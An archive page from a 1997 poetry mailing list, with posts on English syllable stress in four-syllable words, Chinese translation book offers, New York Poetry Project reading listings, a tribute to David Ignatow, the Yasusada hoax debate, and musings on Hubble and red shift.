> apPARantly / enVItronment / suPERlative /
> unCERtainty / enVIDeous / comPARative
>
> sufFICiency / efFICiency / proDIGiously /
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>
> and the like.
>
> [the penultimate 5 words are, of course, Greek names -- but they
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> well hint at the origin of this stress pattern in English]
>
> / / / / /
>
> Now, I suppose it's poss. that Britishers may say PHOtography -- they
> do get a lot of things mixed up like that! ;-) -- but I did think
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> (believe it or not . .)
> 'nuff said?
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> cordially yours,
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> p.s.: to wax aphoristic:
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> p.p.s.: I dearly hope this runaway tangent of a post [note stress in
> tanGENtially] may hap to inspire some resident SAsian writer, &
> thereby beLATedly justify my reCALcitrant [ditto] . . . [etc.] . . .
> .
> .....
> .....
> \\\\

480. **John Cayley**
Chinese New Year comes early
Sat 22 Nov 1997

OFFERS FROM WELLSWEEP
<http://www.demon.co.uk/eastfield/wells/>, and one from Indra's Net <http://www.demon.co.uk/eastfield/in/> (see below).

I'm offering the books (&/disk) listed below. A couple of them are offered at special prices. The deal is also *post free* (for surface post anywhere & air to Europe; I will add a supplement for airmail outside Europe to the invoice, *if* you request it) and, so long as you order by email, quoting this message, I will send the books with invoice and trust you to send me a cheque (check) by return post. All cheques (checks) to be made payable to 'Wellsweep'.

I *can* accept checks in US$ (drawn on US or CDN banks) and US$ prices are shown.

All these books are in stock. (The URLS are links to more information.) Newest books first:

Zhao, Henry Y. H. & John Cayley ed: ABANDONED WINE. Chinese Writing Today 2. London, 1997. 314 pp. Foreword by Gary Snyder. 20x13 cm. Paper. GBP 8.95 (US$ 15.00) Prose, poetry, essays and fiction by contemporary Chinese writers, selected and translated from the Chinese literary magazine, Today (Jintian). Second in a series of such anthologies. Essential.
<http://www.demon.co.uk/eastfield/wells/wsnew.html#CHW02>

Yang Lian: WHERE THE SEA STANDS STILL. A Poetic Sequence. Wellsweep Chinese Poets 6+. London, 1995. 32 pp. 4 b/w illustrations by Gao Xingjian. Parallel text. 21x13 cm. Paper. *special price* (usually 3.50) GBP 3.00 (US$ 5.00) Yang Lian (1955-) is one of the important Chinese poets to have emerged since the late 1970s. His work has been published widely, and he recently edited a special issue of _Index_ on Hong Kong. An important sequence. A version is on the web at <http://www.illumin.co.uk/ica/wsss/>. For info. on the book see: <http://www.demon.co.uk/eastfield/wells/wsnew.html#YANWS>.

Yang Lian: NON-PERSON SINGULAR. Selected Poems. Wellsweep Chinese Poets 6.
London, 1994. 128 pp. Parallel text. 21x13 cm.
Cloth *special price* (usually 14.95) GBP 10.00 (US$ 16.00)
Paper *special price* (usually 7.95) GBP 7.00 (US$ 12.00)
A collection of Yang's shorter poems. See previous.
<http://www.demon.co.uk/eastfield/wells/wsnew.html#YANNP>

Zhao, Henry Y. H. & John Cayley ed: UNDER-SKY UNDERGROUND. Chinese Writing Today, 1. London, 1994. 247 pp. Foreword by Jonathan Spence.

Frontispiece. 20x13 cm. Paper. GBP 7.95 (US$ 13.00) Prose, poetry, essays and fiction by contemporary Chinese writers, selected and translated from the Chinese literary magazine, Today (Jintian). First in a series of such anthologies. See _Abandoned Wine_ above.
<http://www.demon.co.uk/eastfield/wells/wsrec.html#ZHAUU>

Hartill, Graham: RUAN JI'S ISLAND & (TU FU) IN THE CITIES. London, 1993. 62 pp. 7 b/w illustrations (and full-colour cover) by Bronwyn Borrow. 20x13 cm. Paper. *special price* (usually 4.95) GBP 4.00 (US$ 6.50) Two seqences of original (and innovative) poetry in English, by the co-translator of the first Wellsweep book, Ruan Ji's _Songs of my Heart_.
<http://www.demon.co.uk/eastfield/wells/wsrec.html#HARRJ>

Burnett, David & Cayley, John trans: MIRROR AND POOL. Translations From the Chinese. London, 1992. 96 pp. 24 illustrations. 21x13 cm. Paper. *special price* (usually 6.95) GBP 5.00 (US$ 8.00) 'Mirror' (Cayley) and 'Pool' (Burnett) version of a number of famous Chinese poems, with further cross-art translations for many of them into torn-paper monochrome collages by Bronwyn Borrow. <http://www.demon.co.uk/eastfield/wells/wsback.html#BURMP>

Huanzhulouzhu: BLADES FROM THE WILLOWS. A Chinese Novel of Fantasy and
Martial Arts Adventure. London, 1991. 256 pp. 8 full-colour illustrations.
20x13 cm. Paper.
special price (usually 7.95) GBP 5.00 (US$ 8.00)
A wild, sword & sorcery literary progenitor of Hong Kong cinema. The
first full-length translation from the genre into English! If you don't
have it, get it *now* and subscribe to the sequel!!
<http://www.demon.co.uk/eastfield/wells/wsback.html#HUABW>

==========

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A special sampler of work from Indra's Net by John Cayley
<http://www.demon.co.uk/eastfield/in/>

For GBP 7.50 (US$ 12.00) I will send you a single *Apple Macintosh-only*
1.4Mb disk with the following works from Indra's Net:

- wine flying
- Collocations
- Leaving the City

- An Essay on the Golden Lion
- The Speaking Clock
- Pressing the <REVEAL CODE> Key

more info at: <http://www.demon.co.uk/eastfield/in/incat.html>

The offer is *post free* and, if you order by email, I will send you the disk with and invoice as for the books above. An order of books and disk may be mixed. All cheques (checks) made payable to 'Wellsweep'.

These are all HyperCard Stacks with mesostic and collocationals and hybrid text generators. In order to fit them on the disk, I must supply them as stacks only, so you will need to have your own copy of HyperCard or HyperCard Player to view them.

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481. **simon**
syllabic stress/quadrosyllabics
Sat 22 Nov 1997

From: IPFW::SIMON 22-NOV-1997 10:23:02.12
To: MX%"[redacted]"
CC: SIMON
Subj: Re: quadrosyllabics

Shifts of syntax would be word order, e.g.
Biru ga Michiko ni camera o yatta (Bill Michiko camera gave)
vs
Bill gave Michiko a camera.
Japanese syntax is Subject Object Verb
vs
English syntax which is Subject Verb Object

Shifts in syllabic stress are phonological.

best,
beth simon

↑ Index

482. Annie Finch
Re: syllabic stress/quadrosyllabics
Sat 22 Nov 1997

The bulk of the words were indeed Greek in origin -- and if I remember my Greek correctly, it is usual for four-syllable words in Greek to be accented on the antepenult (one of my favorite words)

Annie

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

↑ Index

483. Sylvester Pollet
Post Office Caveat Emptor
Sat 22 Nov 1997

This info might help someone--would have helped me. I've been working on something with a deadline, bought a "Priority Mail" envelope & stamps for it, got to the central P.O. about five minutes after it closed, & so dropped the envelope into a big "Priority Mail" box outside. Fine. Next day I'm away, come back late, get my mail, & there's the "Priority Mail" envelope, address pasted over with a green tag saying that anything over 1 pound MUST be presented to a retail clerk at a post office "because of heightened security measures." Funny nobody mentioned that when I bought the thing. So I had to drive out through a bad snowstorm this morning to re-send it, two days later, and asked for an explanation. Do they have poem-sniffing dogs, or what exactly? And if they thought it was explosive, why did they risk the life of my rural route carrier to give it back to me? I mean, she's a very nice woman! Got a family! Explanation was that after the last TWA exploded the FAA required anything that might go on a plane to be personally received. Anything over one pound. So if you're gonna do it, do it in 15 ounces. Personally, I don't believe it--I think they've got poem-sniffing dogs. Have an iced-tea, Sylvester

↑ Index

484. James Finnegan
Re: Yasusada in Texas
Sat 22 Nov 1997

As a hoax I'm interested in the Yasusada debate.
What does it mean that so many editors rushed
to discover/print/promote this work? But I won't be

one of the first to actually order the book. Sorry,
I'm just not interested in the poems. And I wonder
what the next project of our hoaxer might be:
How it would go over publishing the 'lost' poems
of a Holocaust victim? Or posing as a black Jazz
musician with a herion habit?

Finnegan

↑ Index

485. **Harold Rhenisch**
Re: Yasusada in Texas
Sat 22 Nov 1997

> *Or posing as a black Jazz musician with a herion habit?*
>
> *Finnegan*

her ion, hab it?

her/i ...on habit?

habit? on her eye!

↑ Index

486. **dbkk**
Carole Maso in San Francisco
Sat 22 Nov 1997

Small Press Traffic and Myung Mi Kim present

Carole Maso
an informal reading and conversation

Sunday, November 30, 1:30 p.m.
777 Valencia Street
Room 6
(This is the same building as the NC Theater. Instead of turning right for the theater, turn left towards the restroom, nearby which you will be diverted by the sound of Carole Maso's siren like voice leading you in and making you think all about desire and the inmost secrets of language and syntax . . .)

↑ Index

487. **Jerry E. Fletcher**
Re: Yasusada in Texas
Sun 23 Nov 1997

I was sure hoping all the Yasusada crap had stopped, to much time on it, tired of hearing, if you want to discuss that crap go back door direct to those interested. No one has to buy the book, you can either do as Abbie Hoffman and Jerry Rubin used to advocate, steal the damn thing, or do what I do when interested, but not enough to buy something...sit in a nice comfy chair at Barnes and Nobles or Borders, read to you hearts delite...satisfy both curiosity and social conscience. Meanwhile, the book and all the talk is just wearing...get a life.

Jerry.

↑ Index

488. **Daniel Zimmerman**
Re: Yasusada in Texas
Sun 23 Nov 1997

Jerry E. Fletcher wrote:
>
> I was sure hoping all the Yasusada crap had stopped, to much time on it,
> tired of hearing, if you want to discuss that crap go back door direct to
> those interested. No one has to buy the book, you can either do as Abbie
> Hoffman and Jerry Rubin used to advocate, steal the damn thing, or do
> what I do when interested, but not enough to buy something...sit in a
> nice comfy chair at Barnes and Nobles or Borders, read to you hearts
> delite...satisfy both curiosity and social conscience. Meanwhile, the
> book and all the talk is just wearing...get a life.
>
> Jerry.

<<<"And so farewell, dear Reader, from Descartes."

--Dan Zimmerman>>>

↑ Index

489. **jarnot**
readings at the poetry project
Sun 23 Nov 1997

---

dear list people: here are some upcoming readings at the Poetry Project for those of you who will be in the New York area during December and January. The Poetry Project is located at 10th Street and 2nd Avenue in Manhattan. Readings begin at 8:00 pm.

DECEMBER:

3 Wednesday Some of the Dharma A unique celebration of the first-time publication of Jack Kerouac's remarkable book, Some of the Dharma, featuring performances and readings by actors Willem Dafoe and Karen Allen; Lee Ranaldo from Sonic Youth, Rob Buck from 10,000 Maniacs and Danny Chauvin from Hitchhiker; Ed Sanders of the Fugs, David Amram, Doug Brinkley, Ann Douglas, Maggie Estep, and many more.

5 Friday Gillian McCain & Jeffery Conway Gillian McCain is the author of Tilt, recently published by The Figures/Hard Press, and the co-author (with Legs McNeil) of Please Kill Me: the Uncensored History of Punk (Grove Press). Her work has appeared on the CD Getchertiktz (SOOJ Records), a spoken word album with Ric Ocasek and Alan Vega, as well as in Lingo, Arshile, The World, and B City. She is a former Program Coordinator of the Poetry Project and the former editor of The Poetry Project Newsletter. Jeffery Conway is the author of Blood Poisoning (Cold Calm Press 1995). His work has appeared in Plush, Eros in Boystown, Queer Dog, and the current issue of The World. [10:30 pm]

8 Monday Elliott Sharp & Eddie Bell Composer, multi-instrumentalist, and founder of ZOaR records, Elliott Sharp leads the groups Carbon & Orchestra Carbon, Tectonics, and Terraplane. His most recent CD releases include the Carbon album, Interference, Revenge of the Stuttering Child with Israeli poet Ronny Someck, and the Tectonics CD, Field & Stream. Eddie Bell, an educator and poet, completed his first book-length poetry manuscript, Capt's Dreaming Chair, during two fellowships he was awarded by the Ragdale Foundation, an artists and writers' retreat.

10 Wednesday Thomas Sayers Ellis & Bei Dao Thomas Sayers Ellis is a co-founding member of the Dark Room Collective and the author of The Good Junk which appeared in the AGNI/Graywolf annual Take Three. His poems have appeared most recently in Grand Street, AGNI, Calloloo, Best American Poetry 1997, and The Garden Thieves: Twentieth Century African-American Poetry. He is also the author of View-Master, a forthcoming chapbook from Vimal Press. He currently teaches in the English Department at Case Western Reserve University. Recently elected an honorary member of the American Academy of Arts and Letters, Bei Dao is one of the foremost poets from China. A former Red Guard, he now lives in exile in the United States. Translated into English are four books of poetry (most recently, Landscape Over Zero, New Directions) and a book of short stories, Waves.

12 Friday Janet Hamill & Lo Galluccio Janet Hamill, co-author with Patti Smith of the forthcoming The Eternal Café, will be presenting new work accompanied by bass and rhythm guitar. Hamill is also the author of Nostalgia of the Infinite, The Temple, and Troublante, and has been included in several anthologies,

including Living with the Animals, More Reflections on the Meaning of Life, and The Unmade Bed: Sensual Writing on Married Love. Lo Galluccio, a poet and singer, has recently put out her first CD, Being Visited, with musicians Miki Navazio, Brad Jones, and Michael Evans. Galluccio started performing in Fish-Pistol and evolved Being Visited at cbgb's gallery, The Knitting Factory, and the Nuyorican Poet's Café. [10:30 pm]

15 Monday Malika Lee Whitney & Josefina Baez Actress, writer, and storyteller Malika Lee Whitney is the artistic director of Pickney Productions and the Pickney Players. She is also the author of Bob Marley: Reggae King of the World. Josefina Baez is the founder and director of Latinarte, an intercultural art troupe. She is currently working on a children's book, Why Is My Name Marisol?, a book of poetry-prose, In Dominicanish, and poetry-prose in Spanish, Telele, Telele, Telele-Blah, Blah, Blah.

17 Wednesday Tom Carey & Tomas Salamun Tom Carey's most recent book, Desire, was recently published by Painted Leaf Press. He has lived in New York City since 1977. In 1988 he became a Franciscan brother in the Society of St. Francis. He currently lives and works in Brooklyn, New York. Slovenian poet Tomaz Salamun was born on the 4th of July in Zagreb, Croatia. In the 1970s, Salamun was invited to the Iowa International Workshop, where he met Anselm Hollo, Ted Berrigan, Barrett Watten, and others. One of the foremost poets of Slovenia, he has published 27 books of poetry, including The Selected Poems (Ecco, 1988), and most recently, The Four Questions of Melancholy. He is currently the cultural attace at the Slovenian Consulate in New York.

22 Monday Poetica and Bob Quatrone Inspired by the Paul Winter Consort and Coleman Barks reciting the poems of Rumi, Robert Fox and Steven Wright created Poetica, which will perform both known and new poetry in an original blend of words and music. Bob Quatrone is the former chief lecturer and program director of the Walt Whitman Poetry of NYC, and the former editor of Lunch.

JANUARY

1
24th Annual New Year's Day Marathon Reading
Featuring over 120 poets, performers, dancers, musicians, and artists, including Richard Hell, Tuli Kupferberg, Penny Arcade, Homer Erotic, Vole, and many more! [2 pm-1 am, $15, $12 for Poetry Project Members]

5 Monday
Open Reading, sign-up at 7:30 pm.[8 pm]

7 Wednesday Juliana Spahr & Harryette Mullen Juliana Spahr's most recent book, Response, is available from Sun and Moon Press. She co-edits the journal

Chain with Jena Osman and currently teaches at the University of Hawaii, Manoa. Harryette Mullen currently teaches Creative Writing and African-American Literature at UCLA. She is the author of trimmings, Muse & Drudge,and S*PeRM**K*T.

12 Monday Elizabeth Alexander & Shirley LeFlore Elizabeth Alexander is the author of 2 books of poetry, The Venus Hottentot, and Body of Life. Her verse-play, Diva Studies, was produced at the Yale School of Drama in 1996. She is currently working on a third book of poetry, and a book of essays, On Black Masculinity. Shirley LeFlore is a poet, professor, and vocalinquist. Her works-in-progress include a CD, The Bet, forthcoming from MapleShade; a book, The Collection Plate; and a collection of autobiographical stories and poems, Threads. Her collaborations with saxophonist J.D. Parran are on the recent CD Spiritstage.

14 Wednesday Ammiel Alcalay & TBA Ammiel Alcalay is a poet, translator, and scholar who teaches classical and Oriental literatures at Queens College and tat the CUNY Graduate Center. He is the author of the cairo notebooks, After Jews and Arabs, and Keys to the Garden. He has translated poetry and articles written in Bosnia, including The Tenth Circle of Hell, an account of a survivor of a Serbian camp.

16 Friday Lauren Spencer & Sharon Mesmer Lauren Spencer is currently working on a series of books profiling bands on the road and in the studio with MTV/Simon and Schuster: the first installment on Bush is due in stores in 1998.She is a regular contributor to Rolling Stone and Jane magazines. Sharon Mesmer's first collection of poems Half Angel, Half Lunch, described by Allen Ginsberg as "beautifully bold and vivaciously modern," will be published by Hard Press in 1998. Formerly of the band Mellow Freakin' Woodies, and fresh from performing her work in Japan, she now teaches at the New School for Social Research. [10:30 pm]

19 Monday Babalorisa John Mason & Raymond Patterson Babalorisa John Mason is a Yoruba priest, African and jazz percussionist, and noted scholar and theologian whose books include Orin Orisa: Songs for Selected Heads and, co-authored with Professor Henry Drew, the forthcoming catalogue for the exhibition, Beads, Body and Soul: Luminous Art in the Yoruba Universe. Raymond Patterson is the author of 26 Ways of Looking at a Black Man and Elemental Blues. He is the writer of opera librettos, former member of the Umbra Poetry Workshop, and has been anthologized in numerous collections, including the seminal New Black Voices, edited by Addison Gayle.

21 Wednesday Nina Zivancevic & Ben Friedlander Nina Zivancevic was born in Belgrade, former Yugoslavia-a literary critic, journalist , translator as well as a poet and a fiction writer-she lived for several decades in New York where she

wrote in English, and now resides in Paris where she is currently working on her PhD on Modern literature. Her most recent book Inside and Out of Byzantium was published by SEMIOTEXT(E), and her first novel Living on Air is to come out by Cool Grove Inc. in New York this coming spring. Ben Friedlander's most recent publication, A Knot is Not a Tangle, is available from Meow Press. He is the co-editor, with Don Allen, of Charles Olson's Collected Prose. Friedlander currently lives in Buffalo, New York where he is a graduate student at the State University of New York.

23 Friday Chris Kraus & Ann Rower Chris Kraus's novel I Love Dick has just been published by Semiotext(e) Native Agents. She wrote and directed the feature film, Gravity and Grace (Lonely Girl Films 1995) and produced The Chance Event, a three-day philosophy rave with Jean Baudrillard and Roseanne Stone at Whiskey Pete's Casino in the Nevada Desert. Ann Rower, a former Wooster Group writer, is the author of Armed Response (Serpent's Tail, 1995) and If You're a Girl (Semiotext(e) Native Agents). [10:30 pm]

26 Monday Reading and Book Party for Patricia Landrum Patricia Landrum was an early member of the Stoop Poetry Workshop, formerly on the Board of Directors at the Poetry Project, and part of the Nuyorican Poet's Café. She was also a founding member of the women's poetry theater collaboration, Cayenne. and author of the chapbook, Sweet (New Spirit). In honor of her, and of the publication of the manuscript-Mary and Other Ordinary Women-that she was preparing at the time of her death, Tracie Morris, Sheila Alson, Cheryl Boyce Taylor, and others will read, talk, and perform.

28 Wednesday Miles Champion & Keith Waldrop Miles Champion was born in Nottingham, England, in 1968, and now lives in London. He is the writer of Sore Models and Compositional Bonbons Placate. Recent work has appeared in BOO, The Germ, and in the mini-anthology Sleight of Foot (Reality Street Editions). Keith Waldrop teaches at Brown University and, with Rosmarie Waldrop, is editor of the small press, Burning Deck. Recent books include The Silhouette of the Bridge (Avec) and Light While There Is Light (Sun and Moon). He has translated, among others, Anne-Marie Albiach, Claude Royet-Journoud, Paol Keineg, Dominique Fourcade, and Jean Grosjean.

↑ Index

490. **Jordan Davis**
Re: quadrosyllabics
Sun 23 Nov 1997

Blyth's Zen in English & world Literature is worth hunting down as well... like Saintsbury maybe more energetically articulate (=enthusiastic?) than sensible, but who said sensibility was all that important anyway.

Jordan

On Fri, 21 Nov 1997, Daniel Zimmerman wrote:

> *Thanks, David.*
> *Eons ago, in graduate school, I took a course in Japanese morphology which explored, in a language I knew [& still know, sadly] little of, the shifts of syntax specifying the differences between [in English, say] PHOtograph, phoTOGraphy, and photoGRAPHic. Not a bit tangential to my own sense of each word as at least a ratchet set. [All that so I could read the transliterations in Blythe's four volume _Haiku_ properly!] Gotta dig the beat!*
>
> *Daniel Zimmerman*
>
> *David R. Israel wrote:*
>
> *Poetas,*
>
> *hazarding outre tangentiality, here's forwarding a post of mine from the SoAsian Literature listserv -- with my runaway exploration of quadrosyllabics [or is that quatro-?] in English.*
>
> *cheers,*
> *d.i.*
>
> *------- Forwarded Message Follows -------*
> *From: David R. Israel <[redacted]>*
> *To: [redacted]*
> *Subject: 2nd syllable stress*
> *Date: Fri, 21 Nov 1997 22:22:04 -0400*
>
> *[was, Re: regarding farsi]*
>
> *Moazzam,*
>
> *thanks for the excerpt from Manto's letter to Nehru -- this is the 1st of read of this much-mentioned Manto, and he seems witty & likeable.*
>
> */ / / / /*
>
> *Hope you'll pardon me if I pedantically quibble over one small point of English. Your point was quite good, and yet the illustration was poss. inaccurate in one particular. You wrote --*
>
> *. . . When a word travels, it is vulnerable to the new environment. Everyone, or a vast majority at least, in the Subcontinent pronounce 'photo graphy', as with two equal stresses, not realizing that English is a stress language, and a 'native', and*

I understand I am here as vulnerable as any word, of English will pronounce 'ph[]tography' putting the stress on the first syllable.

*Did you really mean the *first* syllable -- i.e., PHOto-graphy?*

There are many differences in stress between British pronunciation and American. Here are a few common examples (using capitalized syllables to denote the syllable wherein occurs the stress):

American	British
garAGE	GARage
LABoratory	laBORatory
WEEKend	weekEND

As a "native American speaker" (not to say an Amerindian), I can tell you (with a sense of conviction) that photography, in the U.s., is properly pronounced with stress on the 2nd (not 1st) syllable -- i.e.,

phoTOGraphy

In this, the word follows the same (2nd-syllable-stress) pattern as is to be seen in similar (4-syllable) words (many of which are, likewise, ideational nouns). There are quite a number of examples. Allow me to present a concatenation of such:

biOGraphy / geOGraphy / porNOGraphy /
ePIphany / anTIthesis / philOLogy /

onTOLogy / onTOGeny / phyLOGeny /
onCOLogy / zoOLogy / asTROLogy /

exOGgenous / homOLogous / hoMOGinized /
biOGraphist / phoTOGraphist / anTHOLogized /

asTRONomy / lobBOTomy / eCONomy /
exCEEDingly / perNICiously / apPALlingly /

enTIrely / reDICulous / psyCHOLogy /
aPOLogy / cosMOLogy / anTHOLogy /

desPARingly / peDANtically / comMODious /
ofFICiously / deLICiously / melLODious /

apPARantly / enVItronment / suPERlative /
unCERtainty / enVIDeous / comPARative

sufFICiency / efFICiency / proDIGiously /
prePOSterous / hyPOTHesis / reLIGiously /

liTIGinous / phiLOsophy / reLIGionist /
acQUIsitive / deRIVitive / reVISionist /

acCOUtrement / reQUIRement / aMAZingly /
asTONishing / adMONishing / outRAGeously /

acCORDingly / afFORDable / supPOSedly /
adDORingly / aDORable / imPOSingly /

EmPEDocles / PyTHAGoras / HerODdotus /
TheuSIDdites [sp?] / EuRIPpides / phoTOGraphous [a neolgism]

and the like.

[the penultimate 5 words are, of course, Greek names -- but they follow quite the same pattern (prosody), and I suspect that they may well hint at the origin of this stress pattern in English]

/ / / / /

*Now, I suppose it's poss. that Britishers may say PHOtography -- they do get a lot of things mixed up like that! ;-) -- but I did think (till seeing your post) that they had *this* one right -- er, I mean, the same as is heard in the American form, which latter is, as said, -- (at least throughout my short lifespan it has been) --*

phoTOGraphy

(believe it or not . .)
'nuff said?

cordially yours,
d.i.

p.s.: to wax aphoristic:

phoTOGraphy is to biOGraphy
as is word to thought . . . .

p.p.s.: I dearly hope this runaway tangent of a post [note stress in tanGENtially] may hap to inspire some resident SAsian writer, & thereby beLATedly justify my reCALcitrant [ditto] . . . [etc.] . . .
.
.....
.....

> \\\\

493. **William Burmeister Prod**
Re: readings at the poetry project
Mon 24 Nov 1997

> *DECEMBER:*
>
> *3 Wednesday*
> *Some of the Dharma*
> *A unique celebration of the first-time publication of Jack Kerouac's remarkable book, Some of the Dharma, featuring performances and readings by actors Willem Dafoe and ...*

Should be interesting with Willem Dafoe reading. Remember his cameo appearance in "Basquiat" as the electrician/painter (or sculptor) delivering the line, "I'm glad I haven't received any recognition yet, it's given me more time to develop."

↑ Index

494. **Jerry E. Fletcher**
Re: Yasusada in Texas
Mon 24 Nov 1997

Finnegan,

I go to your wake. Brilliant thread? With noise about nothing, a need to listen, and hearing only buzz, my needle cannot sew. I've weft and weave come unraveled. Steal the book, get a life.

Jerry.

↑ Index

495. **William Burmeister Prod**
FlashPoint URL
Mon 24 Nov 1997

Does anyone out there know the URL for FlashPoint?

Thanks,

William Burmeister

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496. **Hank Lazer**
Re: David Ignatow (1914-1997)
Mon 24 Nov 1997

I've been spending some time this past week thinking about my friend David Ignatow. When Charles sent out word about David's death, I began thumbing through David's most recent book of poems, _I Have a Name_, published by when David was 82. A couple of poems:

As If

The prayerful humanity of Bach,
the soldier machinegunning--
I don't know how to reconcile
one with the other and to the living,
where with others I walk, stunned.

In a cafe music is pouring itself
in joy for itself for anyone to dream
of reconciliation with conflicted life.
Farther down the road an energetic man
is beating his wife.

How to live in confusion
and as a skeptic, angry
to have been born to music
and to screams intermingling,
as if--not one without the other--
to make a whole of it.

*

For Rose
1913-1995

I have a name
a substitute
for the word
infinity.

When my name is called
it is not me
you are calling.

*

David's poetry and friendship meant a great deal to me. He wrote a very generous blurb for my first book, _Doublespace_. He was an energetic

correspondent, and he continued to read, think, and argue. Early on in our friendship, he steered me to George Oppen's poetry. I have written about David's poetry, and I remain drawn to its odd syntax, a kind of quirky yiddishness, an odd mixture of modesty and passion.

*

David Ignatow
1914-1997

there would be then
this way of erasure
as you had studiously
entered into that space
of your disappearance
intimate with its
parameters savoring
particularities of its
persistent integrity there
you are in dialog
with each imagined shadow
and every other poet
a kingdom the cir
cumference of your
many singular friendships

↑ Index

497. **maz881**
Hubble's influence
Mon 24 Nov 1997

Hubble is kind of a figure that stands. Getting mad at him doesn't help. Thru his red shifting, the big bag was able to roll (unlike a man). He also started the idea of measuring how far stuff was away. How fast stuff was moving away. How basically nothing was moving toward (no blues).

a thing i have always found suspect in the red shift theorizing is that you have to postulate a basic uniform thing from here to there. and from here to another there. and from here to another there, etc. and you build up all these theres and say the universe is about this old and this big. so the question i like is what if one particular galaxy (these are typically the things that are being measured) was really nearby, but for reasons of non-uniformity of space (due say to huge gravity fluxors) it appeared massively red shifted, and so the linear thing to say would be to say it was the farthest thing away and was moving away from us x fast and is really really old. (quasars pose problems like this).

below are two entries in a dictionary of physics on the web. they just happened to be back to back. and i haven't fooled with them tony.

uniformity principle (E.P. Hubble):

The principle that the laws of physics here and now are not different, at least qualitatively, from the laws of physics in previous or future epochs of time, or elsewhere in the Universe. This principle was scoffed at by the ancients who believed that the laws that governed the Earth and those that governed the heavens were completely divorced; now it is used routinely in cosmology to describe the structure and evolution of the Universe.

universal age paradox:

Two of the most straightforward methods of calculating the age of the Universe -- through redshift measurements, and through stellar evolution -- yield incompatible results. Recent (mid 1990s) measurements of the distances of distant galaxies through the use of the Hubble Space Telescope indicate an age much less than the ages of the oldest stars that we calculate through stellar evolution theory. At present there is no conclusion to this paradox; a cosmological constant would rectify the situation, but it's possible that the discrepancy will disappear with more accurate measurements of the age of the Universe using both methods. .....

If you like physics, math, etc dictionaries, there's a good one by a guy named eric (his treasure trove).

http://www.astro.virginia.edu/~eww6n/physics/physics.html

can anyone look up a good definition of quantum mechanical tunnelling and post it? the eric dictionary entry is under construction.

Bill L

↑ Index

498. **Jack Foley**
FlashPoint URL -Reply
Mon 24 Nov 1997

Yessir! The URL for FlashPoint is http://webdelsol.com/FLASHPOINT/

-- JR Foley,
On-line Editor,
FlashPoint

>>> William Burmeister Prod <[redacted]>
11/24/97 03:41pm >>>
Does anyone out there know the URL for FlashPoint?

Thanks,

William Burmeister

↑ Index

499. **Aldon Nielsen**
Ann Petry
Mon 24 Nov 1997

I just now learned that novelist Ann Petry died last Spring. The news was on the same page as a piece about Pound that a friend mailed me from the Washington Post. Has anyone spotted any other news coverage of Petry?

↑ Index

500. **henry gould**
Re: Hubble's influence
Mon 24 Nov 1997

---

yes, interest multiplies - but what if the red shift is actually a blue shift? I mean, if you're not the only purple on the beach (i.e. within a coney island radius). MillenniuM starts with M, ends with M, and has 2 Ns trying to be a 3rd M in the middle. what does this tell you about the donut shape of spacetime? I mean, what if the purple shift is right here, diaphanous, in the bree E ze? & we can't even see it? And the calcified driftwood (or Xxzv...w*klphtok in Assyrian) is a leftover from LAST week's recycling? - Eric Blarnes, somewhere in Madras

p.s. M = 1,000 in Latin. telescoped to the nth. sort of a hubble-dub-dubble.

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501. **Brent Long**
Re: Hubble's influence
Mon 24 Nov 1997

Excuse my asking, and it may be in ignorance, but what the hell does this have to do with Poetics???

At 04:27 PM 11/24/97 -0500, you wrote:
>Hubble is kind of a figure that stands. Getting mad at him doesn't help.
> Thru his red shifting, the big bag was able to roll (unlike a man). He also
>started the idea of measuring how far stuff was away. How fast stuff was
>moving away. How basically nothing was moving toward (no blues).
>
>a thing i have always found suspect in the red shift theorizing is that you
>have to postulate a basic uniform thing from here to there. and from here to

>another there. and from here to another there, etc. and you build up all
>these theres and say the universe is about this old and this big. so the
>question i like is what if one particular galaxy (these are typically the
>things that are being measured) was really nearby, but for reasons of
>non-uniformity of space (due say to huge gravity fluxors) it appeared
>massively red shifted, and so the linear thing to say would be to say it was
>the farthest thing away and was moving away from us x fast and is really
>really old. (quasars pose problems like this).
>
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>happened to be back to back. and i haven't fooled with them tony.
>
>
>uniformity principle (E.P. Hubble):
>
>The principle that the laws of physics here and now are not different, at
>least qualitatively, from the laws of physics in previous or future epochs of
>time, or elsewhere in the Universe. This principle was scoffed at by the
>ancients who believed that the laws that governed the Earth and those that
>governed the heavens were completely divorced; now it is used routinely in
>cosmology to describe the structure and evolution of the Universe.
>
>universal age paradox:
>
>Two of the most straightforward methods of calculating the age of the
>Universe -- through redshift measurements, and through stellar evolution --
>yield incompatible results. Recent (mid 1990s) measurements of the distances
>of distant galaxies through the use of the Hubble Space Telescope indicate an
>age much less than the ages of the oldest stars that we calculate through
>stellar evolution theory. At present there is no conclusion to this paradox;
>a cosmological constant would rectify the situation, but it's possible that
>the discrepancy will disappear with more accurate measurements of the age
of
>the Universe using both methods.
>.....
>
>If you like physics, math, etc dictionaries, there's a good one by a guy
>named eric (his treasure trove).
>
>http://www.astro.virginia.edu/~eww6n/physics/physics.html
>
>can anyone look up a good definition of quantum mechanical tunnelling and

>post it? the eric dictionary entry is under construction.
>
>Bill L
>
>

Curious the small and lesser fates which join to lead a man to this.
- Cormac McArthy

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502. **David Kellogg**
Re: Ann Petry
Mon 24 Nov 1997

Aldon, I knew she died but I haven't seen news coverage of it. (I learned because I'm teaching The Street next Spring).
~~~
~~~

(have you seen Bill's poems? I'd send you off to SPD to order _My Trip to New York City_ but I'm pretty sure they're out of it), who has an avid interest in astronomy, has long thought about astrophysics and poetry with the same part of his brain, and is proposing that there is some connection between the difficulty of measuring the size of the universe and the difficulty of understanding whether poetics is the discussion of what happens in poems or is it just where any individual stands (that is, their status) in poetry. Now we know from Mark Wallace that there aren't really any individuals, and I know from talking to Bill that when he's being allegorical he's also really just talking about the things that excite him, it being his (and Ange Mlinko's and practically any other poet worth talking about's) poetics to pay attention to what is exciting. At this point I will direct you back to the Poetics Archives where you may read Bill's translations of Sappho, his notes on power wires, and miscellaneous found poetry regarding the global branding of Tiger Woods, and birds (I think). Getting mad at him doesn't help.

All best,
Jordan

On Mon, 24 Nov 1997, Brent Long wrote:

> *Excuse my asking, and it may be in ignorance, but what the hell does this have to do with Poetics???*
>
> *At 04:27 PM 11/24/97 -0500, Billy Luoma wrote:*
> *Hubble is kind of a figure that stands. Getting mad at him doesn't help.*

↑ Index

504. **Dean Taciuch**
Re: Hubble's influence
Mon 24 Nov 1997

> *Brent,*
>
> *It appears that one may be able to use the subject matter for a poem.*
>
> *Jerry.*

